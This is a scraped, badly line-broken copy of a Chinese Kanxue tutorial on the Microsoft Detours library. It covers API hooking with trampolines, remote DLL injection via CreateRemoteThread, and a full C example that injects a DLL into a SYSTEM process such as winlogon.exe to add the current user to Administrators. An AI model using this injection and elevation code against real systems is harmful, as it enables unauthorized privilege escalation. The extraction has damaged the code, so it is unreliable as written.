看雪detourWord下载.docx
《看雪detourWord下载.docx》由会员分享,可在线阅读,更多相关《看雪detourWord下载.docx(8页珍藏版)》请在冰豆网上搜索。
API的原理
Detours概念了三个概念:
Target函数:
要拦截的函数,一样为Windows的API。
Trampoline函数:
Target函数的复制品。
因为Detours将会改写Target函数,因此先把Target函数复制保留好,一方面仍然保留Target函数的进程挪用语义,另一方面便于以后的恢复。
Detour
函数:
用来替代Target函数的函数。
Detours在Target函数的开头加入JMP
Address_of_
Detour_
Function指令(共5个字节)把对Target函数的挪用引导到自己的Detour函数,
把Target函数的开头的5个字节加上JMP
Target
_
Function+5作为Trampoline函数。
例子如下:
拦截前:
Function:
;
Target函数入口,以下为假想的常见的子程序入口代码
push
ebp
mov
ebp,
esp
eax
ebx
Trampoline:
以下是Target函数的继续部份
……
拦截后:
jmp
Detour_Function
Trampoline_Function:
;
Trampoline函数入口,
开头的5个字节与Target函数相同
跳归去继续执行Target函数
Target_Function+5
3.
为一个已在运行的进程装入一个DLL
以下是其步骤:
创建一个ThreadFuction,内容仅是挪用LoadLibrary。
用VirtualAllocEx为一个已在运行的进程分派一片虚存,并把权限更改成可读可写可执行。
把ThreadFuction的二进制机械码写入这片虚存。
(4)
用CreateRemoteThread在该进程上创建一个线程,传入前面分派的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。
通过DllMain
即可在一个已在运行的进程中运行自己的代码。
二.
Detours库函数的用法
因为Detours软件包并无附带帮忙文件,以下接口仅从剖析源代码得出。
PBYTE
WINAPI
DetourFindFunction(PCHAR
pszModule,
PCHAR
pszFunction)
功能:
从一DLL中找出一函数的入口地址
参数:
pszModule是DLL名,pszFunction是函数名。
返回:
名为pszModule的DLL的名为pszFunction的函数的入口地址
说明:
DetourFindFunction除利用GetProcAddress外,还直接分析DLL的文件头,因此能够找到一些GetProcAddress找不到的函数入口。
DETOUR_TRAMPOLINE(trampoline_prototype,
target_name)
该宏把名为target_name
的Target函数生成Trampoline函数,以后挪用
trampoline_prototype在语义上等于挪用Target函数。
BOOL
DetourFunctionWithTrampoline(PBYTE
pbTrampoline,
BYTE
pbDetour)
用Detour
函数拦截Target函数
pbTrampoline是DETOUR_TRAMPOLINE取得的trampoline_prototype,pbDetour是
函数的入口地址。
4.
DetourRemoveWithTrampoline(PBYTE
pbTrampoline,PBYTE
恢复Target函数
5.
ContinueProcessWithDll(HANDLE
hProcess,
LPCSTR
lpDllName)
hProcess是进程的句柄,lpDllName是要装入的DLL名
三.
程序实例
以一个能使有“调试程序”的用户权限的用户成为系统治理员的程序做例子说明Detours
库函数的用法。
程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe,
rpcss.exe,
winlogon.exe,
service.exe等,利用ContinueProcessWithDll在其中注入把当前用户加入到
Administrators本地组的DLL,因为该DLL在这些进程的平安上下文环境运行,因此有相应的权限。
先编写相应的DLL:
/*admin.dll,
当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。
*/
#include
/*以下创建一共享段实现进程间的数据通信,
szAccountName
是用户名,bPrepared说明
szAccountName是不是已初始化。
#pragma
data_seg("
.MYSHARE"
)
bPrepared=FALSE;
wchar_t
szAccountName[100]={0};
data_seg()
comment(linker,
"
/SECTION:
.MYSHARE,RWS"
/*程序挪用SetAccountName设置要加入到Administrators
本地组的用户名,并通知DllMain
已初始化szAccountName
,
以后被装入时可挪用ElevatePriv
__declspec(dllexport)
VOID
WINAPI
SetAccountName(wchar_t
*Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}
/*把名为szAccountName的用户加入
到Administrators本地组*/
ElevatePriv()
LOCALGROUP_MEMBERS_INFO_3
account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"
Administrators"
3,(LPBYTE)&
account,1);
ULONG
DllMain(HINSTANCE
hInstance,
DWORD
dwReason,
PVOID
lpReserved)
switch
(dwReason)
case
DLL_THREAD_ATTACH:
if
(bPrepared)
ElevatePriv();
return
TRUE;
}
程序如下:
把当前用户加入到
Administrators本地组。
利用方式为:
(1)
procid,
其中procid为
(1)记下的进程ID
(3)签退再签到,运行用户治理器,即可发觉自己已在Administrators本地组中。
*/
extern
*Name);
/*
GetCurrentUser取得自己的用户名称*/
void
GetCurrentUser(wchar_t
*szName)
HANDLE
hAccessToken;
InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER
pTokenUser
=
(PTOKEN_USER)InfoBuffer;
dwInfoBufferSize,dwAccountSize
200,
dwDomainSize
200;
SID_NAME_USE
snu;
hProcess
GetCurrentProcess();
OpenProcessToken(hProcess,TOKEN_READ,&
hAccessToken);
GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000,
&
dwInfoBufferSize);
LookupAccountSid(NULL,
pTokenUser->
User.Sid,
szAccountName,
dwAccountSize,szDomainName,
dwDomainSize,
snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"
\"
);
wcscat(szName,szAccountName);
EnablePrivilege启用自己的“调试程序”的用户权限*/
EnablePrivilege(LPCTSTR
szPrivName,BOOL
fEnable)
hToken;
(!
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES,
hToken))
FALSE;
TOKEN_PRIVILEGES
tp;
1;
LookupPrivilegeValue(NULL,
szPrivName,
tp.Privileges[0].Luid);
tp.Privileges[0].Attributes
fEnable
?
SE_PRIVILEGE_ENABLED
:
0;
AdjustTokenPrivileges(hToken,
FALSE,
tp,
sizeof(tp),
NULL,
NULL);
return((GetLastError()
==
ERROR_SUCCESS));
int
WinMain(HINSTANCE
hinst,
HINSTANCE
hprev,
LPSTR
lpszCmdLine,
nCmdShow)
INT
argc;
WCHAR
**argv;
argv
CommandLineToArgvW(GetCommandLineW(),
argc);
nProcessId
-1;
(argc!
=2){
wprintf(L"
usage
%s
pid"
argv[0]);
_wtoi(argv[1]);
printf("
%d
nProcessId);
/*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有如此的权利。
EnablePrivilege(SE_DEBUG_NAME,
TRUE)){
AdjustTokenPrivilege
Fail
%u
(UINT)GetLastError());
gNewHandle
OpenProcess(PROCESS_ALL_ACCESS
TRUE,
nProcessId);
gNewHandle){
OpenProcess
szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If
ContinueProcessWithDll(gNewHandle,
L"
c:
\temp\admin.dll"
))
ContinueProcessWithDll
failed
%u"
3;
因为“调试程序”的用户权限缺省情形下仅给予给治理员,因此并非会造成平安漏洞。
但该程序揭露出“调试程序”的用户权限实际上是至高无上的用户权限,只能授予给可信誉户。
四.
结论
Detours是一壮大的工具,提供了简单易用的函数接口来拦截WIN32
API挪用和为一个已在运行的进程装入一个DLL。